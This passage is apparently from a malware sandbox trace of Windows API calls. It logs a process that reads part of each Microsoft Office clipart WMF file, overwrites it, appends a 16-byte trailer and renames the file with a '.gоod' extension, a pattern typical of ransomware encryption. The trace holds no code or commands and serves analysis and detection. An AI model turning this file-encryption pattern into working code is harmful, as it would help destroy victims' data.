lpOldMode=0x1faedc80) returned 1 [0188.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.gоod")) returned 1 [0188.424] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", lpFilePart=0x0) returned 0x44 [0188.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0188.425] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x380b418 | out: lpFileInformation=0x380b418*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e)) returned 1 [0188.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0188.425] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", lpFilePart=0x0) returned 0x44 [0188.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0188.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0188.425] GetFileType (hFile=0x6e0) returned 0x1 [0188.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0188.425] GetFileType (hFile=0x6e0) returned 0x1 [0188.425] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0188.425] ReadFile (in: hFile=0x6e0, lpBuffer=0x380b830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x380b830*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0188.427] CloseHandle (hObject=0x6e0) returned 1 [0188.427] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", lpFilePart=0x0) returned 0x44 [0188.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0188.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0188.427] GetFileType (hFile=0x6e0) returned 0x1 [0188.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0188.427] GetFileType (hFile=0x6e0) returned 0x1 [0188.427] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x9d0e [0188.427] WriteFile (in: hFile=0x6e0, lpBuffer=0x380cac8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x380cac8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0188.428] CloseHandle (hObject=0x6e0) returned 1 [0188.428] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", lpFilePart=0x0) returned 0x44 [0188.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0188.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0188.428] GetFileType (hFile=0x6e0) returned 0x1 [0188.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0188.428] GetFileType (hFile=0x6e0) returned 0x1 [0188.428] ReadFile (in: hFile=0x6e0, lpBuffer=0x380ed88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x380ed88*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0192.223] CloseHandle (hObject=0x6e0) returned 1 [0192.223] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", lpFilePart=0x0) returned 0x44 [0192.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0192.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0192.223] GetFileType (hFile=0x6e0) returned 0x1 [0192.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0192.223] GetFileType (hFile=0x6e0) returned 0x1 [0192.223] WriteFile (in: hFile=0x6e0, lpBuffer=0x320cc90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x320cc90*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0193.450] CloseHandle (hObject=0x6e0) returned 1 [0193.450] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF", lpFilePart=0x0) returned 0x44 [0193.450] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0193.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0193.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6f853564, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9d1e)) returned 1 [0193.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0193.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.gоod")) returned 1 [0193.452] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", lpFilePart=0x0) returned 0x44 [0193.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0193.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x356c9c8 | out: lpFileInformation=0x356c9c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa)) returned 1 [0193.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0193.453] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", lpFilePart=0x0) returned 0x44 [0193.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0193.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0193.453] GetFileType (hFile=0x6e0) returned 0x1 [0193.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0193.453] GetFileType (hFile=0x6e0) returned 0x1 [0193.453] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0193.453] ReadFile (in: hFile=0x6e0, lpBuffer=0x356cde0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x356cde0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0193.455] CloseHandle (hObject=0x6e0) returned 1 [0193.455] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", lpFilePart=0x0) returned 0x44 [0193.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0193.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0193.455] GetFileType (hFile=0x6e0) returned 0x1 [0193.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0193.455] GetFileType (hFile=0x6e0) returned 0x1 [0193.455] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0xbaaa [0193.455] WriteFile (in: hFile=0x6e0, lpBuffer=0x356e078*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x356e078*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0193.456] CloseHandle (hObject=0x6e0) returned 1 [0193.456] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", lpFilePart=0x0) returned 0x44 [0193.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0193.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0193.457] GetFileType (hFile=0x6e0) returned 0x1 [0193.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0193.457] GetFileType (hFile=0x6e0) returned 0x1 [0193.457] ReadFile (in: hFile=0x6e0, lpBuffer=0x3570338, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3570338*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0195.998] CloseHandle (hObject=0x6e0) returned 1 [0195.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", lpFilePart=0x0) returned 0x44 [0195.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0195.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0195.998] GetFileType (hFile=0x6e0) returned 0x1 [0195.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0195.998] GetFileType (hFile=0x6e0) returned 0x1 [0195.998] WriteFile (in: hFile=0x6e0, lpBuffer=0x34d3580*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34d3580*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0195.998] CloseHandle (hObject=0x6e0) returned 1 [0195.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF", lpFilePart=0x0) returned 0x44 [0195.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0195.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0195.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x710a5831, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbaba)) returned 1 [0195.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0195.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.gоod")) returned 1 [0195.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", lpFilePart=0x0) returned 0x44 [0195.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0196.000] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3684a80 | out: lpFileInformation=0x3684a80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38cc)) returned 1 [0196.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0196.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", lpFilePart=0x0) returned 0x44 [0196.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0196.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0196.001] GetFileType (hFile=0x6e0) returned 0x1 [0196.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0196.001] GetFileType (hFile=0x6e0) returned 0x1 [0196.001] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0196.001] ReadFile (in: hFile=0x6e0, lpBuffer=0x3684ec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3684ec8*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0196.002] CloseHandle (hObject=0x6e0) returned 1 [0196.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", lpFilePart=0x0) returned 0x44 [0196.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0196.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0196.002] GetFileType (hFile=0x6e0) returned 0x1 [0196.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0196.003] GetFileType (hFile=0x6e0) returned 0x1 [0196.003] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x38cc [0196.003] WriteFile (in: hFile=0x6e0, lpBuffer=0x3686160*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3686160*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0196.005] CloseHandle (hObject=0x6e0) returned 1 [0196.005] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", lpFilePart=0x0) returned 0x44 [0196.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0196.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0196.005] GetFileType (hFile=0x6e0) returned 0x1 [0196.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0196.005] GetFileType (hFile=0x6e0) returned 0x1 [0196.005] ReadFile (in: hFile=0x6e0, lpBuffer=0x3688420, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3688420*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0196.032] CloseHandle (hObject=0x6e0) returned 1 [0196.032] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", lpFilePart=0x0) returned 0x44 [0196.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0196.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0196.032] GetFileType (hFile=0x6e0) returned 0x1 [0196.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0196.032] GetFileType (hFile=0x6e0) returned 0x1 [0196.032] WriteFile (in: hFile=0x6e0, lpBuffer=0x3687178*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3687178*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0196.033] CloseHandle (hObject=0x6e0) returned 1 [0196.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF", lpFilePart=0x0) returned 0x44 [0196.033] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0196.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0196.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x710f1bd7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x38dc)) returned 1 [0196.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0196.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.gоod")) returned 1 [0196.034] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", 